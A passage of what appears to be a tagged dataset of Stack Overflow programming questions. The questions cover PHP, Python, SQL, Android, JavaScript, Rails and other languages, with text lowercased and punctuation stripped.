powerbuttontime    00:00:00 );             count = 0;             mtimer.cancel();             meditor.commit();             sessions.setrecordonservice(false);             recordcount = 0;             recorder.stop();             recorder.reset();             recorder.release();             system.out.println( hello helloo );             sessions.stoppowerbuttonrecording();             string ns = context.notification_service;             notificationmanager nmgr = (notificationmanager) getapplicationcontext()                     .getsystemservice(ns);             nmgr.cancel(10);             vibe.vibrate(3000);             recorder = null;         }     }     super.ontaskremoved(rootintent); } </code></pre>,android
retrieve date  month  year from a date in php  i have this piece of code which gets me a field from the database:   <pre><code>$end_date=$row1[ end_date ]; </code></pre>   if i print it it gives me something like: 25-09-2012 what i need is to get the month value  the year and date. something like:    <pre><code>$month=09; $day=25; $year=2012; </code></pre>   how can i do that  thanks!,php
how to generate an event when an item on a drop down list is highlighted with the mouse  i would like to know how to generate an event as an item on a drop down list is highlighted with the mouse. here is the code as an example:   <pre><code>&lt;select&gt;   &lt;option value= a &gt;a&lt;/option&gt;   &lt;option value= b &gt;b&lt;/option&gt;   &lt;option value= c &gt;c&lt;/option&gt;   &lt;option value= d &gt;d&lt;/option&gt; &lt;/select&gt; </code></pre>   i tried the following without much luck...   <pre><code>&lt;select&gt;   &lt;option onmouseover= myfunction()  value= a &gt;a&lt;/option&gt;   &lt;option onmouseover= myfunctiontwo()  value= b &gt;b&lt;/option&gt;   &lt;option onmouseover= myfunctionthree()  value= c &gt;c&lt;/option&gt;   &lt;option onmouseover= myfunctionfour()  value= d&gt;d&lt;/option&gt; &lt;/select&gt; </code></pre>   i am new to html so please be gentle with your suggestions. i just came across this challenge as i am preparing myself for something big.    thanks.,html
getting information from a list  i need some help with my code. i recently started learning python from a friend. usually  if i have a problem he will show me what to do  but he is out on holiday for a few weeks  so he can not help. i need to create a price comparison tool to compare the prices of products entered. i can do most of the code  i just need help with how to get stuff out of a list. i can gather all the info and put it into a list  i m just not sure how to get it out again. i need it to display the average unit price of all products entered  the cheapest overall product  the most expensive overall product and a recommendation for the cheapest unit price in the budget that the user sets. i m not sure how to gather this info from inside the list. any help would be appreciated. this is my code so far: (i have left out functions)   <pre><code>keep_going =    while keep_going ==   :      sum_table = []     count = 0     unit_type =         print( welcome to the price comparison tool! )     print()     how_much = num_check( how much money do you have to spend  $   float  1  100)      get_prod = true     while get_prod:          if count &lt; 1:             p_name = len_check( what is the name of the first product   )         elif 0 &lt; count:             p_name = len_check( please enter another product  or type xxx to bring up summary  )             if p_name.lower() ==  xxx :                 break          unit = num_check( is the product in g/ml or kg/l  (enter 1 for g/ml or 2 for kg/l)    int  1  2)         if unit == 1:             unit_type =  grams/millilitres          elif unit == 2:             unit_type =  kilograms/litres           p_mass = num_check( what is the mass of  {}  in {}    .format(p_name  unit_type)  float  1  1000)         if unit == 2:             p_mass = p_mass*1000         p_price = num_check( what is the price of  {}  in dollars  $  .format(p_name)  float  0.1  100)         p_average = p_price/(p_mass/1000)          row = [p_name  p_mass  p_price  p_average]         sum_table.append(row)         count += 1      for i in sum_table:         if i[2] &gt; how_much:             sum_table.remove(i)      print()     print( --- product summary --- )     print( all items over-budget have been removed!  )     print( name\tmass in g/ml\tprice\tunit price per kg )     for i in sum_table:         print(i)      print()     keep_going = input( press &lt;enter&gt; to go again or any other key to quit )     print() </code></pre>,python
how to understand the following empty if statement in python   i read the following python code from a book  which should be very easy to understand. i was just wondering  what is the purpose of the following empty if statement:   <pre><code>if currentlabel not in labelcounts.keys(): labelcounts[currentlabel] = 0 labelcounts[currentlabel] += 1 </code></pre>   the full code is:   <pre><code>from math import log def calcshannonent(dataset):     numentries = len(dataset)     labelcounts = {}     for featvec in dataset:         currentlabel = featvec[-1]         if currentlabel not in labelcounts.keys():         labelcounts[currentlabel] = 0         labelcounts[currentlabel] += 1     shannonent = 0.0     for key in labelcounts:         prob = float(labelcounts[key])/numentries         shannonent -= prob * log(prob 2)     return shannonent </code></pre>,python
sql search for string containing characters  i have a string <code> abc </code>  and i want to search  in a sql table  for the values that contain either a  b or c.    this is what i have right now:   <pre><code>select * from table where name like  abc  ; </code></pre>   this didn t work  but i know if i try something like   <pre><code>where name like  a  or name like  b  or .... </code></pre>   it will work.    is there an easier way to do this  since i don t want to separate my string into characters.,sql
how to transfer a files one system to another system  how to transfer a files from a folder of one system to another system in particular folder in c#.net  can any help me on this topic,c#
converting string into comparison operator. possible or not  javascript  i m creating a function to filter my javascript objects.    <pre><code>function filter(array filtername filtercondition filterparameter){      for(var i=0; i&lt; array.length;i++){         if(array[i][filtername] -&lt;convert filtercondition here&gt;- filterparameter){          }     }  } </code></pre>   and ideally i would like to use it like this:   <pre><code>filter(anarray  age   &gt;  10) </code></pre>   is it possible to convert a string comparison operator into a real operator in my if statement,javascript
php substring() start from last duplicate of word  i have big .txt file. what i need to do is format it  to be able to see only specific part from document.   <pre><code>$findfrom =  word 1 ; $findto =  word 2 ; $start = strpos($content  $findfrom); $end = strpos($content  $findto); substr($content  $start  $end); </code></pre>   word 1 is used 2 times in .txt file  i need to start substring() from 2nd not the first one. no idea  how to do it.,php
how can i get average from edittext and show it on textview like the image below   i need to get average from those <code>edittext</code> and show average on <code>textview</code>  and don t know how to do that.    <a href= https://i.stack.imgur.com/st89kl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/st89kl.png  alt= enter image description here ></a>,android
launching a program from a server on an intranet  okay  so i know you don t normally want people to be able to execute programs from a server  but that s what i d like to do. i ve got it to the point where i can execute the program if it is installed on the local computer while i am running from the local client machine (using vs 2010). if i try to run it from the server  i get a  system cannot find file  error. here is the code that i can get to run if running from the local client machine:   <pre><code>protected sub begintutorial(sender as object  e as system.eventargs) handles button1.click     dim psi as new processstartinfo()     psi.filename =  c:\program files\savvy training tutorials\word 2010\savvy s word 2010 tutorial menu.exe      psi.workingdirectory = io.path.getdirectoryname(psi.filename)     diagnostics.process.start(psi) end sub </code></pre>   i ve also got the program installed on the server  so if i change the file path  it gives me the above mentioned  cannot find file  error. i ve tried installing the file either to the default location on the server  or also within the directory containing the website. below are the two examples:    default install:   <pre><code>protected sub begintutorial(sender as object  e as system.eventargs) handles button1.click     dim psi as new processstartinfo()     psi.filename =  c:\program files\savvy training tutorials\word 2010\savvy s word 2010 tutorial menu.exe      psi.workingdirectory = io.path.getdirectoryname(psi.filename)     diagnostics.process.start(psi) end sub </code></pre>   install to directory containing website:   <pre><code>protected sub begintutorial(sender as object  e as system.eventargs) handles button1.click     dim psi as new processstartinfo()     psi.filename =  e:\intranet\word 2010\savvy s word 2010 tutorial menu.exe      psi.workingdirectory = io.path.getdirectoryname(psi.filename)     diagnostics.process.start(psi) end sub </code></pre>   i ve also tried taking out the apostrophe and that didn t work either. any thoughts,asp.net
custom rails route query  i m putting together a short url functionality for an app i m working on and now have it working and turning longer urls into a short url by base36 encoding the id of a record pointing to the longer url  for example:    <a href= http://localhost:3000/7ps  rel= nofollow noreferrer >http://localhost:3000/7ps</a> -> <a href= http://localhost:3000/the/long/url  rel= nofollow noreferrer >http://localhost:3000/the/long/url</a>    i am struggling to write a route which will intercept requests for the short url whilst still allowing requests for other valid urls in the app.    is there a route i can use which will only target base36 encoded values after the domain     thanks for any help!,ruby-on-rails
skipping first column with load data infile  i have got such table:   <pre><code>mysql&gt; show create table final\g; *************************** 1. row ***************************        table: final create table: create table `final` (   `id` int(4) not null auto_increment    `cdatetime` varchar(255) not null    `address` varchar(255) not null    `district` varchar(255) not null    `beat` varchar(255) not null    `grid` varchar(255) not null    `crimedescr` varchar(255) not null    `ucr_ncic_code` varchar(255) not null    `latitude` varchar(255) not null    `longitude` varchar(255) not null    primary key (`id`) ) engine=innodb default charset=latin1 1 row in set (0.00 sec) </code></pre>   and i have got csv file which looks like this:   <pre><code>cdatetime address district beat grid crimedescr ucr_ncic_code latitude longitude 1/1/06 0:00 3108 occidental dr 3 3c         1115 10851(a)vc take veh w/o owner 2404 38.55042047 -121.3914158 1/1/06 0:00 2082 expedition way 5 5a         1512 459 pc  burglary residence 2204 38.47350069 -121.4901858 1/1/06 0:00 4 palen ct 2 2a         212 10851(a)vc take veh w/o owner 2404 38.65784584 -121.4621009 1/1/06 0:00 22 beckford ct 6 6c         1443 476 pc pass ficticious check 2501 38.50677377 -121.4269508 </code></pre>   what i want to do is load that csv file into table final. problem is that csv file doesn t have id column so i m thinking <strong>is it possible to somehow tell mysql to skip column id and load data into the rest columns  but id must be used</strong>. so ideally it would look like this:     1/1/06 0:00 3108 occidental dr 3 3c         1115 10851(a)vc take veh w/o owner 2404 38.55042047 -121.3914158  gets loaded into columns and mysql automatically add 1 to column id  then  1/1/06 0:00 2082 expedition way 5 5a         1512 459 pc  burglary residence 2204 38.47350069 -121.4901858  gets loaded and mysql add 2 to id column etc etc..    recently user  shadow   told me that i should specify which column i want to load so i did something like this:   <pre><code>load data infile  /sacramentocrimejanuary2006.csv  into table final (cdatetime  address  district  beat  grid  crimedescr  ucr_ncic_code  latitude  longitude); </code></pre>   mysql returns:   <pre><code>error 1261 (01000): row 1 doesn t contain data for all columns </code></pre>   according to mysql load data infile manual field delimiter is not     so i tried to change it by adding fields terminated by     at the end of my statement but this breaks query. what is the correct syntax here      thanks    <strong>answer</strong>   <pre><code>mysql&gt; create table `final` (     -&gt;   `id` int(4) not null auto_increment      -&gt;   `cdatetime` longtext  null      -&gt;   `address` longtext  null      -&gt;   `district` longtext  null      -&gt;   `beat` longtext  null      -&gt;   `grid` longtext  null      -&gt;   `crimedescr` longtext  null      -&gt;   `ucr_ncic_code` longtext  null      -&gt;   `latitude` longtext  null      -&gt;   `longitude` longtext  null      -&gt;   primary key (`id`)     -&gt; ) engine=innodb default charset=latin1; query ok  0 rows affected (0.17 sec)  mysql&gt; load data infile  /sacramentocrimejanuary2006.csv   into table final fields terminated by     lines terminated by  \r  ignore 1 rows (cdatetime  address  district  beat  grid  crimedescr  ucr_ncic_code  latitude  longitude); query ok  7584 rows affected (0.08 sec) records: 7584  deleted: 0  skipped: 0  warnings: 0 </code></pre>,mysql
printing gives generator object <genexpr> as output when scraping data from a table  i am a newbie to python...and i am trying to learn how to scrape data from a table and the output i get is generator object .... please forgive me if there are a lot of mistakes still learning     <a href= https://i.stack.imgur.com/fsidb.png  rel= nofollow noreferrer >example of the table</a>    <a href= https://i.stack.imgur.com/mkfjv.png  rel= nofollow noreferrer >output of the program</a>   <pre><code>    dcap = dict(desiredcapabilities.phantomjs)     dcap[ phantomjs.page.settings.useragent ] = ( mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml  like gecko) chrome/61.0.3163.100 safari/537.36 )      driver = webdriver.phantomjs(desired_capabilities=dcap)      driver.set_window_size(1024 768)     driver.get( https://www.klsescreener.com/v2/ )        clickbtn = driver.find_element_by_xpath( //*[@id= submit ] )     clickbtn.click()     sleep(15)     driver.save_screenshot( testing.png )     data = []     table = driver.find_element_by_xpath( .//table[@class= tablesorter-bootstrap         stocks tablesorter table table-bordered table-striped ] )     for trow in table.find_elements_by_xpath( .//tr[@class= list odd ] ):        print(td.text for td in trow.find_elements_by_xpath( .//td[@title= code ][text()] )) </code></pre>,python
inherit an immutable copy property as mutable retain  i am having the following code:   <pre><code>@interface room : nsobject { @protected     nsmutabledictionary* mcustomproperties; }  @property (readonly  copy) nsdictionary* customproperties;  @end    @interface mutableroom : room { }  @property (readwrite  retain) nsmutabledictionary* customproperties;  @end </code></pre>   these properties are then implemented later by accessing mcustomproperties. i know  that it is not allowed to redeclare the memory management attribute or the data type of a property in a subclass to differ from the ones in the base class. however  i want to achieve the following: - give only readonly access to the dictionary in the immutable base class. as the member is a nsmutabledictionary  just returning it as a retained instance of nsdictionary would mean  that it simple cast would make it mutable again  even unintended  when the user of the property stores the access variable somewhere as an nsobject instance and then recovers the original type of it back later. therefor i want to return the mutable dictionary by immutable copy in the readonly property. - give full readwrite access to the dictionary in the mutable sub class. as you should not only be able to store another dictionary there  but also to just change the content of the existing one  i would like the property in the subclass not only to be readwrite  but also to be retained  instead of copied  so that the original values will be accessed  and to access it as an nsmutabledictionary  not as a nsdictionary  so that one can add  remove or change entries of the dictionary through the property.    is there any more elegant way than suppressing the warning or using two differently named properties,objective-c
adding a prefix to each word in a string  assume i have a following string:   <pre><code>s =  100*apple/orange*2-apple  </code></pre>   how can i transform this string so i get:   <pre><code>s =  100*fruit.apple/fruit.orange*2-fruit.apple  </code></pre>   i.e. how to add  fruit.  prefix to each a-za-z word in the string     thanks!    what i tried is to do the following:   <pre><code>regex = r \b\w+\b  list=re.findall(regex s) list1= fruit.  + list </code></pre>   finally i substring each element of list found in s by element of list1    now my question is if there is a morepythonic way to do this,python
angular ng-click to change class on click  i am trying to remove all classes  <strong>fa-3x</strong>   and change all classes to  <strong>fa-lg</strong>  and add a class called= <strong>testclass</strong>   when the user click on class <strong>toggle-button</strong>. is it possible to do it in angular  really appreciate. your help    i know in jquery it very simple using add class and removeclass. can someone show me how to do it in angular     <pre><code>  &lt;div ng-controller= maincontainercontroller  ng-click= toggleclass() &gt;         &lt;ul class= nav  &gt;             &lt;li&gt;                 &lt;a class= toggle-button &gt;&lt;i class= fa fa-exchange &gt;&lt;/i&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a ui-sref= home  ng-class= activemenu( home ) &gt;                    &lt;i class= fa fa-home fa-3x &gt;&lt;/i&gt;                    &lt;span&gt;home&lt;/span&gt;                 &lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a ng-class= activemenu( work ) &gt;                     &lt;i class= fa fa-bar-chart-o fa-3x &gt;&lt;/i&gt;                    &lt;span&gt;work &lt;/span&gt;                 &lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a ui-sref= music  ng-class= activemenu( music ) &gt;                    &lt;i class= fa fa-table fa-3x &gt;&lt;/i&gt;                    &lt;span&gt;scenario &lt;br/&gt;music&lt;/span&gt;                 &lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a ui-sref= faq &gt;                    &lt;i class= fa fa-faq fa-3x &gt;&lt;/i&gt;                                               &lt;span&gt;faq&lt;/span&gt;                  &lt;/a&gt;             &lt;/li&gt;        &lt;/ul&gt;   &lt;/div&gt; </code></pre>,angularjs
how to restart currently executing jar in java <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/259343/any-way-to-reboot-the-jvm >any way to &ldquo;reboot&rdquo; the jvm </a>    </blockquote>     is there any option to restart currently executing .jar(a complete project) by code from  inside that program,java
error in query like  an aggregate may not be appear in where clause  <pre><code>alter procedure sp_num_tracking  @userid int  as begin declare @lastlogondate datetime; alter procedure sp_num_tracking  @userid int  as begin declare @lastlogondate datetime; declare @currentlogondate datetime; declare @onemonthtime datetime; declare @frmbeg int; declare @oneweektime datetime;  select @lastlogondate=  max( crimedate) from tblcrime where userid=@userid set @currentlogondate=getdate() set @onemonthtime=dateadd(mm -1 @currentlogondate) set @oneweektime=dateadd(dd -7 @currentlogondate) select @frmbeg=  max(crimeid)-min(crimeid)  from tblcrime     select count(o.crimeid) from tblcrime o inner join   tblcontractor ts  on o.maincontractorid=ts.contractorid  inner join  tblbusiness tb  on o.maincontractorbuid=tb.businessid inner join tblservant tw on o.servantid=tw.servantid  inner join tbluser u  on  u.contractorid=o.maincontractorid    where count(o.crimeid) between @lastlogondate and @onemonthtime or count(o.crimeid) between @lastlogondate and @oneweektime  end </code></pre>   but its giving an error like this  an aggregate may not appear in the where clause unless it is in a subquery contained in a having clause or a select list  and the column being aggregated is an outer reference . which part i want to modify....plz help,sql
in python  why is a tuple hashable but not a list   here below when i try to hash a list  it gives me an error but works with a tuple. guess it has something to do with immutability. can someone explain this in detail      list   <pre><code> x = [1 2 3]  y = {x: 9}   traceback (most recent call last):    file  &lt;stdin&gt;   line 1  in &lt;module&gt;  typeerror: unhashable type:  list  </code></pre>   tuple   <pre><code>z = (5 6) y = {z: 89} print(y) {(5  6): 89} </code></pre>,python
why does form_for helper require index path for a new action  i have the following in my routes file   <pre><code>resources :details  only: [:show  :edit  :update  :new] </code></pre>   and in new.html.erb   <pre><code>&lt;%= form_for(@detail) do |f| %&gt;   &lt;%= render  fields   f: f %&gt; &lt;% end -%&gt; </code></pre>   and in the details controller   <pre><code>  def new     @detail = detail.new   end </code></pre>   when the new.html.erb is rendered  i get the following error message   <pre><code>undefined method `details_path  for #&lt;#&lt;class:0x007fc4ac6bd730&gt;:0x007fc4b62e7390&gt; </code></pre>   what is causing this,ruby-on-rails
icloud: nsmetadataquery return wrong results when i delete files in setting device <ul> <li>i download one song -> it is synced on `icloud. </li> <li>i go to setting -> icloud -> manage storage -> my application to delete all files. </li> <li>i go to my application and check notification from (nsmetadataquerydidfinishgatheringnotification and nsmetadataquerydidupdatenotification) -> nsmetadataquery.results return 1 item (old value)</li> </ul>   thank you very much in advance.   <pre><code>enter code here      - (void)processicloudfiles:(nsnotification *)notification {          [_query disableupdates];          [_icloudnames removeallobjects];          int totalitems = _query.resultcount; // it not update here          //or: _query.results     }     - (void)startquerying {          [self stopquery];          _query = [self documentquery];          [[nsnotificationcenter defaultcenter] addobserver:self                                          selector:@selector(processicloudfiles:)                                              name:nsmetadataquerydidfinishgatheringnotification                                            object:nil];          [[nsnotificationcenter defaultcenter] addobserver:self                                          selector:@selector(processicloudfiles:)                                              name:nsmetadataquerydidupdatenotification                                            object:nil];          [_query startquery];     }      - (void)stopquery {        if (_query) {          [[nsnotificationcenter defaultcenter] removeobserver:self name:nsmetadataquerydidfinishgatheringnotification object:nil];          [[nsnotificationcenter defaultcenter] removeobserver:self name:nsmetadataquerydidupdatenotification object:nil];          [_query stopquery];          _query = nil;        }     }      - (nsmetadataquery *)documentquery {        nsmetadataquery * query = [[nsmetadataquery alloc] init];        if (query) {           [query setsearchscopes:[nsarray arraywithobject:nsmetadataqueryubiquitousdocumentsscope]];                   nsstring * filepattern = [nsstring stringwithformat:@ *.%@   file_extension];           [query setpredicate:[nspredicate predicatewithformat:@ %k like %@                            nsmetadataitemfsnamekey  filepattern]];        }        return query;     } </code></pre>,ios
should i use prepared statements for static values   say on each pageload i want to grab the score of one particular use  <code>select score from users where id = 6</code>. none of those variables will ever change  and i m not including post/get data into it.    should i still use prepared statements  or can i just use the <code>query</code> function,php
what is the software architecture that best describes a windows application directly communicating to a database   what is the software architecture that best describes a windows application directly communicating to a database,.net
perfect binary tree  i have a binary tree simple implementation in c which works. i have these functions.   <pre><code>typedef struct node{   int num;   struct node *left;   struct node *right; }node;  void add(node **root int number); void depth_first(node* root); </code></pre>   add does put the parameter number in the binary tree in its place and depth_first prints the whole tree doing a depth_first search.<br/> i need that given a random binary tree  a <strong>function</strong> that  cuts  it giving as a result the tree but only the complete/perfect part.<br/> i use the complete/perfect description to say that all interior nodes have two children and all leaves have the same depth or same level.    any ideas     thank you,c
get the minimum number of bytes necessary to hold a given unsigned integer  i need to write a series of unsigned integers to a file  each one being no greater than a limit <code>n</code> determined at runtime. to save space  i want to pack them in as little bytes as possible. however  i ve no idea how to compute the minimum number of bytes necessary to hold them  so i only have the following  ugly solution:   <pre><code>int get_needed_bytes(uint32_t n) {     if (n &lt; 256) return 1;     else if (n &lt; 65536) return 2;     else if (n &lt; 16777216) return 3;     return 4; } </code></pre>   is there a better way to achieve the same purpose,c
how to join more than 2 table using sql query   suppose  i have more than 2 table and i want to join the specific column to be join .for this what is query,sql
creating an object instance that conforms to a protocol  i ve created a protocol (leservice) that i will conform to in multiple uiviewcontrollers. i won t know until runtime which uiviewcontroller service has been chosen.    is there anyway to create an instance of an object that conforms to a protocol without saying what the object is until runtime,objective-c
ios: listing out wifi devices using bonjour  i am new to ios development. i need to develop an application that requires listing out all ios devices [iphone/ipod touch/ipad] that are there in the local wifi network. googling takes me to bonjour. is it possible to list out devices in lcoal wifi network using bonjour  can anyody point me to a sample tutorial on this. seems cfnetwork or nsnetworkservice framework may be of help in this case. any idea      thanks,ios
stack level too deep error when i render partial from a different controller  i have a page  taxons#show  that lists many products. when you click a product the user is directed to products#show by default  where the partial _cart_local.html.erb is rendered. however  i ve changed the ux so that when you click on a product in taxons#show a lightbox pops up in the same window  so inside the taxons controller and show view. but when i also try to render the <em>cart</em>_local partial inside the lightbox i get a stack level too deep error.    here s the file in question. i understand it could also be occurring from somewhere else. what usually causes this type of error    <pre><code>&lt;%= form_for :order  :url =&gt; populate_orders_path do |f| %&gt; </code></pre>      <pre><code>&lt;% if product.has_variants  %&gt;   &lt;div id= product-variants  class= columns five alpha &gt;     &lt;h6 class= product-section-title &gt;&lt;%= t(:variants) %&gt;&lt;/h6&gt;     &lt;ul&gt;       &lt;% has_checked = false       product.variants.active(current_currency).each_with_index do |v index|         next if v.option_values.empty  || (!v.in_stock &amp;&amp; !spree::config[:show_zero_stock_products])         checked = !has_checked &amp;&amp; (v.in_stock || spree::config[:allow_backorders])         has_checked = true if checked %&gt;         &lt;li&gt;           &lt;%= radio_button_tag  products[#{product.id}]   v.id  checked  :disabled =&gt; !v.in_stock &amp;&amp; !spree::config[:allow_backorders]   data-price  =&gt; v.price_in(current_currency).display_price %&gt;           &lt;label for= &lt;%= [ products   product.id  v.id].join( _ ) %&gt; &gt;             &lt;span class= variant-description &gt;               &lt;%= variant_options v %&gt;             &lt;/span&gt;             &lt;% if variant_price v %&gt;               &lt;span class= price diff &gt;&lt;%= variant_price v %&gt;&lt;/span&gt;             &lt;% end %&gt;           &lt;/label&gt;         &lt;/li&gt;       &lt;% end%&gt;     &lt;/ul&gt;   &lt;/div&gt; &lt;% end%&gt;  &lt;% if product.price_in(current_currency) and !product.price.nil  %&gt;   &lt;div data-hook= product_price  class= columns five &lt;% if !product.has_variants  %&gt; alpha &lt;% else %&gt; omega &lt;% end %&gt; &gt;      &lt;div id= product-price &gt;       &lt;h6 class= product-section-title &gt;&lt;%= t(:price) %&gt;&lt;/h6&gt;       &lt;div&gt;&lt;span class= price selling  itemprop= price &gt;&lt;%= product.price_in(current_currency).display_price %&gt;&lt;/span&gt;&lt;/div&gt;     &lt;/div&gt;      &lt;div class= add-to-cart &gt;       &lt;% if product.on_sale  %&gt;               &lt;%= number_field_tag (product.has_variants    :quantity :  variants[#{product.master.id}] )            1  :class =&gt;  title   :in =&gt; 1..product.on_hand  :min =&gt; 1 %&gt;         &lt;%= button_tag :class =&gt;  large primary   :id =&gt;  add-to-cart-button   :type =&gt; :submit do %&gt;           &lt;%= t(:add_to_cart) %&gt;         &lt;% end %&gt;       &lt;% else %&gt;         &lt;%= content_tag( strong   t(:out_of_stock)) %&gt;       &lt;% end %&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;% else %&gt;     &lt;div id= product-price &gt;       &lt;br&gt;       &lt;div&gt;&lt;span class= price selling  itemprop= price &gt;&lt;%= t( product_not_available_in_this_currency ) %&gt;&lt;/span&gt;&lt;/div&gt;     &lt;/div&gt; &lt;% end %&gt;      &lt;/div&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
how to randomly change class or id with specific character  so i have some code that i am really having hard time to figure out how to randomly change it when refreshed.    here is what i need to see:   <pre><code>&lt;p class= default &gt;default&lt;/p&gt; </code></pre>   when refreshed   <pre><code>&lt;p class= final &gt;replaced content&lt;/p&gt; </code></pre>   any idea,javascript
android - creating menuitem with icon not working  i am trying to add a menu item at runtime  with an icon  but the icon is not visible.    here is my code:   <pre><code>@override public boolean oncreateoptionsmenu(menu menu) {      super.oncreateoptionsmenu(menu);     menuinflater inflater = getmenuinflater();     inflater.inflate(r.menu.main  menu);     createmenu(menu);     return true; }  private void createmenu(menu menu) {     // menu.clear();     menuitem miratethisapp = menu.add(0  0  0              constants.rate_this_app_string).seticon(r.drawable.icon);     miratethisapp.setonmenuitemclicklistener(new onmenuitemclicklistener() {          @override         public boolean onmenuitemclick(menuitem menuitem) {              appstoreutil.gotomarket(getapplicationcontext()                      constants.package_name);             return true;         }     }); } </code></pre>   the text shows up  click listener is working  but the icon is not visible. i have tried the same thing in the xml variant as well but same results.    xml menu code which i tried earlier:   <pre><code>&lt;menu xmlns:android= http://schemas.android.com/apk/res/android  xmlns:app= http://schemas.android.com/apk/res-auto  xmlns:tools= http://schemas.android.com/tools  &gt; &lt;item     android:id= @+id/lines      android:icon= @drawable/lines      android:orderincategory= 1      android:title= lines      app:showasaction= always &gt;  &lt;/item&gt; </code></pre>,android
filtering sql column by number of occurences  this is a follow-up to a question <a href= https://stackoverflow.com/questions/7654978/using-count-to-find-the-number-of-occurrences# >already asked and answered here.</a>    basically  for a table like this   <pre><code>ford ford ford honda chevy honda honda chevy </code></pre>   if an output with the number of occurences is desired  like so:   <pre><code>ford   3 honda  3 chevy  2 </code></pre>   the query is:   <pre><code>select car_made  count(*) from cars group by car_made </code></pre>  <hr>   now  what i want is for the output to show only those values where the count is greater than 2. so  desired output:   <pre><code>ford   3 honda  3 </code></pre>   how do i write the query for that     i tried   <pre><code>select car_made  count(*) as carcount  from cars where carcount&gt;2 group by car_made </code></pre>   but that doesn t seem to work.    can anyone help  thanks.,mysql
javascript - regular expressions  i have an html page with a text box. this text box has an id of  mytextbox . i am trying to use a regular expression in javascript to replace certain values in the text box with another value. currently  i am trying the following   <pre><code>function replacecontent() {   var tb = document.getelementbyid( mytextbox );   if (tb != null)   {     var current = new string(tb.value);     var pattern = new regexp( (ft.)|(ft)|(foot)    ig );     current = current.replace(pattern     );     alert(current);   } } </code></pre>   based on this code  if i had the value  2ft  in the mytextbox  i would expect the current variable to be  2  . however  it always shows an empty string. i fear there is something that i am misunderstanding in relation to regular expressions in javascript. what am i doing wrong     thank you!,javascript
jquery to hide or show comments if no comments not working  i have a status update system in which when a user updates a status people can comment. but the problem is when i click on reply the comment box opens and closes on its own even without giving time to write anything .    there is one code which check when we do a status update and if there is comments (which obviously wont be as we just updated the status it would just hide the commentbox ). and it is somehow effecting the opening of any other clicked comment box . when i remove <code>var t = settimeout( bpactivityreply()   325);</code> this line the comment box opens fine but when a new status update it pre opens which should not happen. can anyone suggest where i am wrong   <pre><code> if (typeof jq ==  function ) { jq( #content ).ajaxcomplete(function (evt  request  settings) {      var t = settimeout( bpactivityreply()   325); }); jq( div.activity ).click(function (event) {     var target = jq(event.target);     if (target.hasclass( acomment-reply ) || target.parent().hasclass( acomment-reply )) {         bpactivityreply();         if (target.parent().hasclass( acomment-reply )) {             target = target.parent();         }         var id = target.attr( id );         ids = id.split( - );         var form = jq( #ac-form-  + ids[2]);         form.parents( .activity-replies ).slidedown(200);         return false;     } }); jq(document).keydown(function (e) {     e = e || window.event;     if (e.target) {         element = e.target;     } else {         if (e.srcelement) {             element = e.srcelement;         }     }     if (element.nodetype == 3) {         element = element.parentnode;     }     if (e.ctrlkey == true || e.altkey == true || e.metakey == true) {         return;     }     var keycode = (e.keycode)   e.keycode : e.which;     if (keycode == 27) {         if (element.tagname ==  textarea ) {             if (jq(element).hasclass( ac-input )) {                 formcontainer = jq(element).parent().parent().parents( .activity-replies );             }             if (formcontainer.find( ul ).length &lt;= 0) {                 formcontainer.slideup(200);             }         }     } }); bpactivityreply();  }      function bpactivityreply() {     jquery( .activity-replies ).each(function () {         hascomments = jquery(this).find( ul ).first().children( li:visible );         if (hascomments.length &lt;= 0) {             jquery(this).css( display    none );         } else {             jquery(this).slidedown(200);         }     });  </code></pre>,jquery
"html anchors not working  i m trying to assign different anchors to different divs  but they don t seem to be taking effect. i ve tried using <code>&lt;a name= anchor &gt;</code>  <code>&lt;a id= anchor &gt;</code>  and <code>&lt;div id= anchor &gt;</code> (which worked with some divs  but not all).    this is my current html:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= about &gt;
   &lt;a name= nabout &gt;&lt;/a&gt;
   &lt;div class= section &gt;
 
     &lt;div class= section-title job-section-header section-header section-subheader &gt;
       &lt;div class= section-bar &gt;&lt;/div&gt;
       &lt;img src= images/about-photo.png  class= left-image  /&gt;
     &lt;/div&gt;
     &lt;div class= section-body jobs &gt;
       &lt;p class= section-subtext-md section-subtext section-text &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. duis lobortis nulla a eros porttitor  ut congue elit commodo. nunc ut dapibus elit. suspendisse euismod rhoncus felis  id vulputate mauris posuere vitae. praesent bibendum maximus nibh  nec
         tempor diam blandit in. praesent non metus in odio vehicula cursus vulputate quis quam. nulla varius massa ac libero commodo imperdiet. fusce tincidunt metus sapien  sed fringilla nibh vulputate eget. suspendisse sodales nisi quis hendrerit porttitor.
         morbi in augue sapien. maecenas ultricies  nisl vitae vehicula vulputate  nunc tellus sagittis turpis  nec laoreet quam velit non nunc. in aliquam libero a tellus commodo  at aliquet risus imperdiet. fusce finibus a nulla et facilisis. maecenas
         condimentum sit amet velit et sodales. duis mauris augue  feugiat non ornare pharetra  convallis nec metus. integer vitae consequat dolor  at tristique lorem.&lt;/p&gt;
 
       &lt;p class= section-subtext-md section-subtext section-text &gt;cras libero massa  fringilla id condimentum ut  aliquam ut nisi. vestibulum ullamcorper commodo elit at commodo. nullam dignissim id lacus sed faucibus. quisque sollicitudin quam sit amet est facilisis tempor. morbi vehicula quam et mauris faucibus
         semper. etiam vel est eu magna viverra viverra. donec venenatis  nisl eget rhoncus auctor  lorem est gravida magna  ac consectetur velit libero at turpis. vivamus at quam sed arcu eleifend suscipit non id mauris. pellentesque tempor ornare imperdiet.
         morbi ornare luctus imperdiet. fusce sagittis lorem ut elementum fermentum. lorem ipsum dolor sit amet  consectetur adipiscing elit.&lt;/p&gt;
     &lt;/div&gt;
     &lt;div style= clear: both; &gt;&lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     why does <code>&lt;a name&gt;</code> not work sometimes and what should i be using in this case",html
